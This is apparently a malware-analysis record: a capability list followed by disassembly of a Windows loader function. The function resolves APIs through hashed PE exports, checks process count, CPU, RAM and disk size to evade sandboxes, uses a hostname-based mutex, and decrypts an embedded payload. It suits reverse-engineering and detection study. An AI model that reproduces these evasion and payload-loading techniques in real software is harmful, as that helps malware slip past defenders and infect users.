Function at 0x140001740
Capabilities:
Access peb ldr_data
Check mutex on windows
Delete file
Encode data using xor
Enumerate processes
Get file size
Get hostname
Get memory capacity
Get system information on windows
Hash data using fnv
Read file on windows
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1400
call fcn.140009330
sub rsp, rax
xor esi, esi
mov ebx, esi
mov dword [rsp + 0x50], ebx
xor edx, edx
mov r8d, 0x494
lea rcx, [rsp + 0xf60]
call sub.msvcrt.dll_memset
nop
mov dword [rsi], 0x125888
jmp 0x14000178d
test ebx, ebx
je 0x140001ab0
mov dword [rsp + 0x7c], 0x104
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x5a0]
call sub.msvcrt.dll_memset
mov dword [rsp + 0x1450], 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r9, [rsp + 0x1450]
lea r8, [rsp + 0x5a0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameA]
mov edx, 0x5c
lea rcx, [rsp + 0x5a0]
call qword [sym.imp.msvcrt.dll_strrchr]
mov qword [rsp + 0x58], rax
mov r14, rsi
mov r13d, esi
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x8d0]
call sub.msvcrt.dll_memset
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x390]
call sub.msvcrt.dll_memset
mov edx, 0x64
xor ecx, ecx
lea r8d, [rdx - 0x5a]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r15, rax
test rax, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jne 0x140001ad0
mov r12d, 1
mov r15d, r12d
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400018d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400018d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xb9618ddb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400018c8
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400018b0
cmp r8d, 0x18247003
je 0x1400018db
test r9d, r9d
jne 0x140001890
mov rax, qword [rax]
jmp 0x140001860
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rsp + 0x390]
xor ecx, ecx
call r9
test eax, eax
je 0x140001ab0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001996
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001996
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x2c68fea9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001988
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001970
cmp r8d, 0xef5d76de
je 0x14000199b
test r9d, r9d
jne 0x140001950
mov rax, qword [rax]
jmp 0x140001920
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rcx, [rsp + 0x390]
call r8
mov rax, qword [rsp + 0x58]
inc rax
lea rcx, str..logtmp
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x390]
lea r8, str._s_s_s
mov edx, 0x208
lea rcx, [rsp + 0x8d0]
call fcn.1400013b0
mov ebx, esi
mov dword [rsp + 0x1440], esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r12d
mov edx, 0x80000000
lea rcx, [rsp + 0x8d0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001a8c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r13d, eax
cmp eax, 0xffffffff
je 0x140001a8c
mov ecx, r13d
mov rdx, r12
call qword [sym.imp.msvcrt.dll_calloc]
mov r14, rax
test rax, rax
je 0x140001a8c
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x1440]
mov r8d, r13d
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, r12d
jne 0x140001a8c
cmp r13d, dword [rsp + 0x1440]
cmove ebx, r12d
test rdi, rdi
je 0x140001a9a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140001cfc
test r14, r14
je 0x140001ab0
mov rcx, r14
call qword [sym.imp.msvcrt.dll_free]
xor eax, eax
add rsp, 0x1400
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001b46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001b46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x997989f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001b38
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001b20
cmp r8d, 0x158509d3
je 0x140001b4b
test r9d, r9d
jne 0x140001b00
mov rax, qword [rax]
jmp 0x140001ad0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, r15
xor ecx, ecx
call r8
mov r13d, eax
test eax, eax
je 0x140001ab0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001c06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001c06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x7665599c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001bf8
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001be0
cmp r8d, 0x1d08e6d4
je 0x140001c0b
test r9d, r9d
jne 0x140001bc0
mov rax, qword [rax]
jmp 0x140001b90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, r15
xor ecx, ecx
call r8
mov r14, rax
test rax, rax
je 0x140001ab0
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001cc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001cc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x8367acaa
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140001cb8
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140001ca0
cmp r8d, 0xfe266e15
je 0x140001ccb
test r9d, r9d
jne 0x140001c80
mov rcx, qword [rcx]
jmp 0x140001c50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r14
call rdx
mov r14, rax
test rax, rax
je 0x140001ab0
mov r12d, 1
mov r15d, esi
mov rax, r14
lea rcx, [rsp + 0xf60]
mov edx, 9
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140001d10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
mov eax, dword [rax + 0x10]
mov dword [rcx + 0x10], eax
cmp dword [rsp + 0xf68], edx
je 0x140001d8f
call fcn.140001470
test r15d, r15d
je 0x140001d8f
lea rcx, [rsp + 0x8d0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [rsp + 0xf60], 0
je 0x140001f7d
mov ebx, esi
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001ab0
mov dword [rsp + 0xae0], 0x238
xor edx, edx
mov r8d, 0x234
lea rcx, [rsp + 0xae4]
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0xd20]
lea rax, [rsp + 0xae0]
mov edx, 4
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140001df0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov rax, qword [rax + 0x30]
mov qword [rcx + 0x30], rax
lea rdx, [rsp + 0xd20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001e97
nop word [rax + rax]
inc ebx
lea rdx, [rsp + 0xd20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001e80
cmp ebx, 0x28
jle 0x140001ab0
lea rcx, [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x110], 2
jb 0x140001ab0
mov dword [rsp + 0xb0], 0x40
lea rcx, [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0xb8]
shr rax, 0x14
cmp eax, 0xfa0
jb 0x140001ab0
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 3]
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rsi
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x18
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rsp + 0x74]
mov ecx, dword [rsp + 0x70]
imul rax, rcx
mov ecx, dword [rsp + 0x6c]
imul rax, rcx
imul rax, qword [rsp + 0x60]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x5d
jb 0x140001ab0
cmp dword [rsp + 0xf6c], 0
je 0x14000202e
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x6b0]
call sub.msvcrt.dll_memset
lea rdx, [rsp + 0x7c]
lea rcx, [rsp + 0x7c0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x140001ab0
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x28], rax
lea rax, str._WIN_
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x7c0]
lea r8, str._s__s__s
mov edx, 0x104
lea rcx, [rsp + 0x6b0]
call fcn.1400013b0
lea r8, [rsp + 0x6b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000202e
test rbx, rbx
je 0x140001ab0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001ab0
lea eax, [r13 - 0x494]
mov rbx, qword [rsp + 0x1448]
mov dword [rbx], eax
mov ecx, eax
call fcn.140002864
mov r13, rax
mov r15d, dword [rbx]
lea rdx, [r14 + 0x494]
mov r8d, r15d
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov ebx, esi
mov edi, 0x100
mov r8d, edi
xor edx, edx
lea rcx, [rsp + 0x4a0]
call sub.msvcrt.dll_memset
mov r8d, edi
xor edx, edx
lea rcx, [rsp + 0x290]
call sub.msvcrt.dll_memset
mov edx, esi
nop dword [rax + rax]
mov ecx, edx
mov byte [rsp + rcx + 0x290], dl
mov eax, edx
and eax, 0x7f
movzx eax, byte [rsp + rax + 0xf74]
mov byte [rsp + rcx + 0x4a0], al
inc edx
cmp edx, edi
jl 0x140002090
mov rdx, rsi
movzx r8d, byte [rsp + rdx + 0x290]
movzx eax, byte [rsp + rdx + 0x4a0]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x1400020de
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0x290]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0x290], al
mov byte [rcx], r8b
inc rdx
sub rdi, 1
jne 0x1400020b6
mov r9d, esi
mov r10d, esi
test r15d, r15d
je 0x14000219b
mov r11, r13
mov r14, r15
nop word [rax + rax]
inc r9d
and r9d, 0x800000ff
jge 0x140002139
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rax, r9d
lea rbx, [rsp + 0x290]
add rbx, rax
movzx edi, byte [rbx]
add r10d, edi
and r10d, 0x800000ff
jge 0x140002163
dec r10d
or r10d, 0xffffff00
inc r10d
movsxd rax, r10d
lea r8, [rsp + 0x290]
add r8, rax
movzx eax, byte [r8]
mov byte [rbx], al
mov byte [r8], dil
movzx eax, byte [rbx]
add eax, edi
movzx eax, al
movzx r8d, byte [rsp + rax + 0x290]
add r8b, 3
xor byte [r11], r8b
inc r11
sub r14, 1
jne 0x140002120
mov rdx, r12
mov rcx, r15
call qword [sym.imp.msvcrt.dll_calloc]
mov rdi, rax
mov qword [rsp + 0x90], rax
test rax, rax
je 0x140001ab0
mov rax, qword [rsp + 0x1448]
mov ebx, dword [rax]
mov r8d, ebx
mov edx, 0x90
mov rcx, rdi
call sub.msvcrt.dll_memset
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
test bl, 0xf
jne 0x14000270a
movups xmm1, xmmword [rsp + 0xf74]
movd eax, xmm1
movzx edx, al
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movzx ecx, al
or edx, ecx
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 2
movd eax, xmm0
movzx ecx, al
or edx, ecx
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 3
movd eax, xmm0
movzx ecx, al
or edx, ecx
mov dword [rsp + 0x120], edx
movdqa xmm0, xmm1
psrldq xmm0, 4
movd eax, xmm0
movzx edx, al
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 5
movd eax, xmm0
movzx ecx, al
or edx, ecx
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 6
movd eax, xmm0
movzx ecx, al
or edx, ecx
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 7
movd eax, xmm0
movzx ecx, al
or edx, ecx
mov dword [rsp + 0x124], edx
movdqa xmm0, xmm1
psrldq xmm0, 8
movd eax, xmm0
movzx edx, al
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 9
movd eax, xmm0
movzx ecx, al
or edx, ecx
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 0xa
movd eax, xmm0
movzx ecx, al
or edx, ecx
shl edx, 8
movdqa xmm0, xmm1
psrldq xmm0, 0xb
movd eax, xmm0
movzx ecx, al
or edx, ecx
mov dword [rsp + 0x128], edx
movdqa xmm0, xmm1
psrldq xmm0, 0xc
movd eax, xmm0
movzx r10d, al
shl r10d, 8
movdqa xmm0, xmm1
psrldq xmm0, 0xd
movd eax, xmm0
movzx ecx, al
or r10d, ecx
shl r10d, 8
movdqa xmm0, xmm1
psrldq xmm0, 0xe
movd eax, xmm0
movzx ecx, al
or r10d, ecx
shl r10d, 8
psrldq xmm1, 0xf
movd eax, xmm1
movzx ecx, al
or r10d, ecx
mov dword [rsp + 0x12c], r10d
lea r8, [rsp + 0x12e]
lea r9, [0x14000b600]
shr r10d, 0x10
lea r11, [0x140000000]
lea r14, [0x14000b628]
mov edx, dword [r8 - 2]
movzx eax, byte [r8 - 1]
movzx ecx, byte [rax + r11 + 0xb630]
movzx eax, r10b
movzx eax, byte [rax + r11 + 0xb630]
shl eax, 8
xor ecx, eax
shl ecx, 8
movzx eax, dl
movzx eax, byte [rax + r11 + 0xb630]
xor ecx, eax
shl ecx, 8
movzx eax, byte [r8 + 1]
movzx eax, byte [rax + r11 + 0xb630]
xor ecx, eax
xor ecx, dword [r8 - 0xe]
xor ecx, dword [r9]
mov dword [r8 + 2], ecx
mov eax, dword [r8 - 0xa]
xor eax, ecx
mov dword [r8 + 6], eax
mov ecx, dword [r8 - 6]
xor ecx, eax
mov dword [r8 + 0xa], ecx
xor edx, ecx
mov dword [r8 + 0xe], edx
lea r8, [r8 + 0x10]
add r9, 4
shr edx, 0x10
movzx r10d, dl
cmp r9, r14
jl 0x140002362
lea rcx, [rsp + 0x1d8]
lea rdx, [rsp + 0x1c8]
mov r8d, 0xb
nop dword [rax]
mov eax, dword [rdx - 8]
mov dword [rcx - 8], eax
mov eax, dword [rdx - 4]
mov dword [rcx - 4], eax
mov eax, dword [rdx]
mov dword [rcx], eax
mov eax, dword [rdx + 4]
mov dword [rcx + 4], eax
lea rdx, [rdx - 0x10]
lea rcx, [rcx + 0x10]
sub r8, 1
jne 0x140002400
test ebx, ebx
je 0x14000270a
lea rdx, [r13 + 2]
mov qword [rsp + 0x1458], rdx
mov rax, rdi
sub rax, r13
mov qword [rsp + 0x80], rax
lea ecx, [rbx - 1]
shr ecx, 4
inc ecx
mov qword [rsp + 0x58], rcx
mov r15d, dword [rsp + 0x1dc]
mov r12d, dword [rsp + 0x1d8]
mov r13d, dword [rsp + 0x1d4]
mov r8d, dword [rsp + 0x1d0]
nop dword [rax]
nop word [rax + rax]
mov rcx, rsi
mov rdi, rdx
nop word [rax + rax]
movzx eax, byte [rdi - 2]
mov byte [rsp + rcx + 0x40], al
movzx eax, byte [rdi - 1]
mov byte [rsp + rcx + 0x44], al
movzx eax, byte [rdi]
mov byte [rsp + rcx + 0x48], al
movzx eax, byte [rdi + 1]
mov byte [rsp + rcx + 0x4c], al
add rdi, 4
inc rcx
cmp rcx, 4
jl 0x140002490
mov ecx, 0x18
mov rdx, rsi
nop dword [rax]
nop dword [rax + rax]
mov eax, r8d
shr eax, cl
xor byte [rsp + rdx + 0x40], al
mov eax, r13d
shr eax, cl
xor byte [rsp + rdx + 0x41], al
mov eax, r12d
shr eax, cl
xor byte [rsp + rdx + 0x42], al
mov eax, r15d
shr eax, cl
xor byte [rsp + rdx + 0x43], al
sub ecx, 8
add rdx, 4
cmp rdx, 0x10
jl 0x1400024d0
mov r14d, 9
lea rbx, [rsp + 0x1d0]
nop
lea rbx, [rbx + 0x10]
lea rcx, [rsp + 0x40]
call fcn.140001010
mov r9, rsi
movzx eax, byte [rsp + r9*4 + 0x40]
movzx eax, byte [rax + r11 + 0xb730]
mov byte [rsp + r9*4 + 0x40], al
movzx eax, byte [rsp + r9*4 + 0x41]
movzx eax, byte [rax + r11 + 0xb730]
mov byte [rsp + r9*4 + 0x41], al
movzx eax, byte [rsp + r9*4 + 0x42]
movzx eax, byte [rax + r11 + 0xb730]
mov byte [rsp + r9*4 + 0x42], al
movzx eax, byte [rsp + r9*4 + 0x43]
movzx eax, byte [rax + r11 + 0xb730]
mov byte [rsp + r9*4 + 0x43], al
inc r9
cmp r9, 4
jl 0x140002521
mov r8d, dword [rbx]
mov r9d, dword [rbx + 4]
mov r10d, dword [rbx + 8]
mov r11d, dword [rbx + 0xc]
mov ecx, 0x18
mov rax, rsi
mov edx, r8d
shr edx, cl
xor byte [rsp + rax + 0x40], dl
mov edx, r9d
shr edx, cl
xor byte [rsp + rax + 0x41], dl
mov edx, r10d
shr edx, cl
xor byte [rsp + rax + 0x42], dl
mov edx, r11d
shr edx, cl
xor byte [rsp + rax + 0x43], dl
sub ecx, 8
add rax, 4
cmp rax, 0x10
jl 0x140002591
lea rcx, [rsp + 0x40]
call fcn.140001140
sub r14, 1
lea r11, [0x140000000]
jne 0x140002510
mov rcx, rsi
lea rdx, [0x140000000]
nop word [rax + rax]
movzx eax, byte [rsp + rcx*4 + 0x40]
movzx eax, byte [rax + rdx + 0xb730]
mov byte [rsp + rcx*4 + 0x40], al
movzx eax, byte [rsp + rcx*4 + 0x41]
movzx eax, byte [rax + rdx + 0xb730]
mov byte [rsp + rcx*4 + 0x41], al
movzx eax, byte [rsp + rcx*4 + 0x42]
movzx eax, byte [rax + rdx + 0xb730]
mov byte [rsp + rcx*4 + 0x42], al
movzx eax, byte [rsp + rcx*4 + 0x43]
movzx eax, byte [rax + rdx + 0xb730]
mov byte [rsp + rcx*4 + 0x43], al
inc rcx
cmp rcx, 4
jl 0x1400025f0
lea rcx, [rsp + 0x40]
call fcn.140001010
mov r9d, dword [rbx + 0x10]
mov r8d, dword [rbx + 0x14]
mov r10d, dword [rbx + 0x18]
mov r11d, dword [rbx + 0x1c]
mov ecx, 0x18
mov rdx, rsi
nop
mov eax, r9d
shr eax, cl
xor byte [rsp + rdx + 0x40], al
mov eax, r8d
shr eax, cl
xor byte [rsp + rdx + 0x41], al
mov eax, r10d
shr eax, cl
xor byte [rsp + rdx + 0x42], al
mov eax, r11d
shr eax, cl
xor byte [rsp + rdx + 0x43], al
sub ecx, 8
add rdx, 4
cmp rdx, 0x10
jl 0x140002660
mov rdx, rsi
mov rcx, qword [rsp + 0x80]
add rcx, qword [rsp + 0x1458]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rsp + rdx + 0x40]
mov byte [rcx - 2], al
movzx eax, byte [rsp + rdx + 0x44]
mov byte [rcx - 1], al
movzx eax, byte [rsp + rdx + 0x48]
mov byte [rcx], al
movzx eax, byte [rsp + rdx + 0x4c]
mov byte [rcx + 1], al
lea rcx, [rcx + 4]
inc rdx
cmp rdx, 4
jl 0x1400026b0
mov rdx, rdi
mov qword [rsp + 0x1458], rdx
sub qword [rsp + 0x58], 1
mov r8d, dword [rsp + 0x1d0]
lea r11, [0x140000000]
jne 0x140002480
mov rdi, qword [rsp + 0x90]
mov rax, rdi
jmp 0x140001ab2